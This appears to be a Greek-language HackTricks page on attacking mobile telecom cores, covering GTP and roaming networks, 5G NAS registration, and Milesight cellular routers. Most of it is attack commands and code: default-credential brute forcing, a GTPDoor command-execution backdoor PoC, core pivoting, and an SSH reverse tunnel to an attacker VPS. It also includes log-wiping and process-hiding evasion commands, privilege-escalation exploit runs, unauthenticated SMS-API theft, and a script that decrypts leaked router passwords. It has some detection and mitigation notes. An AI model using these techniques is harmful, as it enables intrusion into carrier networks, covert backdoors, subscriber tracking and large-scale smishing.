# Εκμετάλλευση Δικτύων Τηλεπικοινωνιών (GTP / Roaming Environments) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] > Τα πρωτόκολλα του mobile-core (GPRS Tunnelling Protocol – GTP) συχνά διατρέχουν ημι-αξιόπιστες GRX/IPX roaming backbones. Επειδή κινούνται πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιοδήποτε foothold εντός του περιγράμματος ενός τηλεπικοινωνιακού δικτύου συνήθως μπορεί να φτάσει απευθείας τα core signalling planes**. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικά κόλπα παρατηρημένα στο πεδίο εναντίον SGSN/GGSN, PGW/SGW και άλλων κόμβων EPC. ## 1. Recon & Initial Access ### 1.1 Default OSS / NE Accounts Ένας εκπληκτικά μεγάλος αριθμός εξοπλισμού δικτύου προμηθευτών αποστέλλεται με hard-coded SSH/Telnet accounts όπως `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Ένα αφιερωμένο wordlist αυξάνει δραματικά την επιτυχία brute-force: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` Αν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω). ### 1.2 Ανακάλυψη hosts μέσα στο GRX/IPX Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδύασε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για γρήγορη χαρτογράφηση των GTP-C listeners: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` ## 2. Εντοπισμός Συνδρομητών – `cordscan` Το παρακάτω εργαλείο Go συνθέτει πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει το τρέχον **SGSN / MME** που εξυπηρετεί το ερωτώμενο IMSI και, μερικές φορές, το PLMN που επισκέφθηκε ο συνδρομητής. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` Key flags: - `--imsi` IMSI του στοχευόμενου συνδρομητή - `--oper` Home / HNI (MCC+MNC) - `-w` Καταγραφή raw πακέτων σε pcap Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` ## 3. Εκτέλεση κώδικα μέσω GTP – `GTPDoor` `GTPDoor` είναι μια μικρή ELF υπηρεσία που **δεσμεύει UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C**. Όταν το payload ξεκινά με ένα προ-κοινό tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγονται μέσα σε **Echo Response** μηνύματα ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία. Minimal PoC packet (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" cmd = b"id;uname -a" enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Ανίχνευση: * οποιοσδήποτε host που στέλνει **unbalanced Echo Requests** σε SGSN IPs * GTP version flag ορισμένο σε 1 ενώ message type = 1 (Echo) – απόκλιση από τη προδιαγραφή ## 4. Pivoting μέσω του Core ### 4.1 `sgsnemu` + SOCKS5 `OsmoGGSN` παρέχει έναν SGSN emulator ικανό να **εγκαθιδρύσει ένα PDP context προς ένα πραγματικό GGSN/PGW**. Μόλις ολοκληρωθεί η διαπραγμάτευση, το Linux αποκτά μια νέα διεπαφή `tun0` προσβάσιμη από το roaming peer. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο **data plane**. ### 4.2 SSH Reverse Tunnel over Port 53 Το DNS είναι σχεδόν πάντα ανοιχτό σε roaming υποδομές. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στη θύρα :53 και επιστρέψτε αργότερα από το σπίτι: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` Ελέγξτε ότι το `GatewayPorts yes` είναι ενεργοποιημένο στο VPS. ## 5. Κρυφά Κανάλια | Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις | |--------|----------|-----------------|-----------| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic | | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για υποτομέα `*.nodep` | | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | συνδυάζεται με νόμιμη GTP-C κίνηση | Όλα τα implants υλοποιούν watchdogs που **timestomp** τα binaries τους και re-spawn αν καταρρεύσουν. ## 6. Defense Evasion Cheatsheet ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp # Disable bash history export HISTFILE=/dev/null # Masquerade as kernel thread echo 0 > /proc/$$/autogroup # hide from top/htop printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` ## 7. Privilege Escalation σε Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd # PwnKit – CVE-2021-4034 python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` Συμβουλή καθαρισμού: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` ## 8. Tool Box * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. * `FScan` : σάρωση TCP σε intranet (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting * `FRP` (≥0.37) : NAT traversal / asset bridging ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) πάνω από NGAP. Μέχρι να ενεργοποιηθεί η NAS security μέσω Security Mode Command/Complete, τα αρχικά μηνύματα δεν είναι authenticated και δεν είναι encrypted. Αυτό το προ-ασφαλείας παράθυρο επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την N2 κίνηση (π.χ., on-path μέσα στο core, rogue gNB, ή testbed). Registration flow (simplified): - Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities. - Authentication: AMF/AUSF στέλνουν RAND/AUTN; το UE επιστρέφει RES*. - Security Mode Command/Complete: διαπραγματεύονται και ενεργοποιούνται NAS integrity και ciphering. - PDU Session Establishment: setup IP/QoS. Lab setup tips (non-RF): - Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows. - UE: simulator ή test UE; decode με Wireshark. - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να ανεβάσετε πλήρες rogue gNB). - Useful display filters in Wireshark: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει πρόβλημα ιδιωτικότητας που επιτρέπει μόνιμο tracking συνδρομητή. How to test: - Capture το πρώτο NAS μήνυμα στο InitialUEMessage και επιθεωρήστε το Mobile Identity IE. - Wireshark quick checks: - Πρέπει να decode ως SUCI, όχι IMSI. - Παραδείγματα φίλτρων: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία `imsi` υποδεικνύει διαρροή. What to collect: - MCC/MNC/MSIN αν εκτίθενται; καταγράψτε ανά-UE και παρακολουθήστε σε χρόνο/τοποθεσίες. Mitigation: - Εφαρμόστε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS. ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) Background: - Το UE ανακοινώνει τις υποστηριζόμενες EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request. - Συνηθισμένες αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms. Issue: - Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits των capabilities για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services. Offensive steps: - Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να ανακοινώνει μόνο EEA0/EIA0. - Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε. - Παρατηρήστε εάν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0. Verification/visibility: - Στο Wireshark, επιβεβαιώστε τα selected algorithms μετά το Security Mode Command/Complete. - Example passive sniffer output: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` Μέτρα αντιμετώπισης (υποχρεωτικά): - Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls). - Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms. ### 9.3 Replay του αρχικού Registration Request (pre-security NAS) Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να replayed στο AMF. Κανόνας PoC για το 5GReplay για να προωθεί matching replays: ```xml ``` What to observe: - Τι να παρατηρήσετε: Εάν το AMF αποδέχεται το replay και προχωρά στην Αυθεντικοποίηση· η έλλειψη ελέγχου φρεσκάδας/πλαισίου υποδεικνύει έκθεση. Mitigations: - Αντιμετώπιση: Επιβάλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE. ### 9.4 Tooling pointers (reproducible) - Open5GS: αναπτύξτε ένα AMF/SMF/UPF για να προσομοιώσετε τον core· παρατηρήστε N2 (NGAP) και NAS. - Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα παραπάνω φίλτρα για να απομονώσετε το Registration. - 5GReplay: καταγράψτε μια Registration, στη συνέχεια replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα. - Sni5Gect: live sniff/modify/inject του NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε τις authentication sequences. ### 9.5 Defensive checklist - Λίστα ελέγχου άμυνας: Επιθεωρείτε συνεχώς τα Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν. - Απορρίψτε EEA0/EIA0 εκτός από αυστηρά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2. - Ανιχνεύστε rogue ή λανθασμένα διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απροσδόκητοι N2 peers. - Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage. --- ## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) Η κατάχρηση εκτεθειμένων web APIs βιομηχανικών Cellular Routers επιτρέπει stealthy, carrier-origin smishing σε μεγάλη κλίμακα. Οι Milesight UR-series routers εκθέτουν ένα JSON-RPC–style endpoint στο `/cgi`. Όταν είναι λανθασμένα διαμορφωμένοι, το API μπορεί να ερωτηθεί χωρίς authentication για να απαριθμήσει τα εισερχόμενα/εξερχόμενα SMS και, σε κάποιες εγκαταστάσεις, να στείλει SMS. Τυπικά μη-επαληθευμένα αιτήματα (ίδια δομή για εισερχόμενα/εξερχόμενα): ```http POST /cgi HTTP/1.1 Host: Content-Type: application/json { "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } ``` ```json { "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } ``` Οι απαντήσεις περιλαμβάνουν πεδία όπως `timestamp`, `content`, `phone_number` (E.164), και `status` (`success` ή `failed`). Επαναλαμβανόμενες αποστολές με κατάσταση `failed` προς τον ίδιο αριθμό είναι συχνά attacker “capability checks” για να επιβεβαιώσουν ότι ένας router/SIM μπορεί να παραδώσει πριν το blasting. Παράδειγμα curl για exfiltrate SMS metadata: ```bash curl -sk -X POST http:///cgi \ -H 'Content-Type: application/json' \ -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' ``` Σημειώσεις σχετικά με auth artifacts: - Κάποια κίνηση μπορεί να περιλαμβάνει ένα auth cookie, αλλά ένα μεγάλο μέρος των εκτεθειμένων συσκευών απαντά χωρίς οποιαδήποτε authentication στις `query_inbox`/`query_outbox` όταν το management interface είναι Internet-facing. - Σε περιβάλλοντα που απαιτούν auth, previously-leaked credentials (see below) αποκαθιστούν την πρόσβαση. Credential recovery path – CVE-2023-43261: - Επηρεαζόμενες οικογένειες: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). - Πρόβλημα: web-served logs (π.χ. `httpd.log`) είναι προσβάσιμα χωρίς authentication κάτω από `/lang/log/` και περιέχουν admin login events με το password κρυπτογραφημένο χρησιμοποιώντας ένα hardcoded AES key/IV που υπάρχει σε client-side JavaScript. - Πρακτική πρόσβαση και decrypt: ```bash curl -sk http:///lang/log/httpd.log | sed -n '1,200p' # Look for entries like: {"username":"admin","password":""} ``` Ελάχιστο Python script για να decrypt leaked passwords (AES-128-CBC, hardcoded key/IV): ```python import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad KEY=b'1111111111111111'; IV=b'2222222222222222' enc_b64='...' # value from httpd.log print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) ``` Ιδέες hunting και ανίχνευσης (network): - Ειδοποίηση για μη-επαληθευμένο `POST /cgi` του οποίου το JSON body περιέχει `base`/`function` ορισμένο σε `query_inbox` ή `query_outbox`. - Παρακολούθηση επαναλαμβανόμενων `POST /cgi` bursts ακολουθούμενων από `status":"failed"` εγγραφές σε πολλούς μοναδικούς αριθμούς από την ίδια source IP (capability testing). - Inventory Internet-exposed Milesight routers; περιορίστε τη διαχείριση σε VPN; απενεργοποιήστε λειτουργίες SMS εκτός αν απαιτούνται; αναβαθμίστε σε ≥ v35.3.0.7; περιστρέψτε credentials και ελέγξτε SMS logs για άγνωστα sends. Shodan/OSINT pivots (παραδείγματα που εντοπίστηκαν στον πραγματικό κόσμο): - `http.html:"rt_title"` matches Milesight router panels. - Google dorking για εκτεθειμένα logs: `"/lang/log/system" ext:log`. Λειτουργικός αντίκτυπος: η χρήση νόμιμων carrier SIMs εντός routers παρέχει πολύ υψηλή SMS deliverability/credibility για phishing, ενώ η έκθεση των inbox/outbox leaks ευαίσθητα metadata σε μεγάλη κλίμακα. --- ## Ιδέες Ανίχνευσης 1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. 2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. 3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. 4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. 5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). 6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. ## References - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System - [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) - [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) - [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) {{#include ../../banners/hacktricks-training.md}}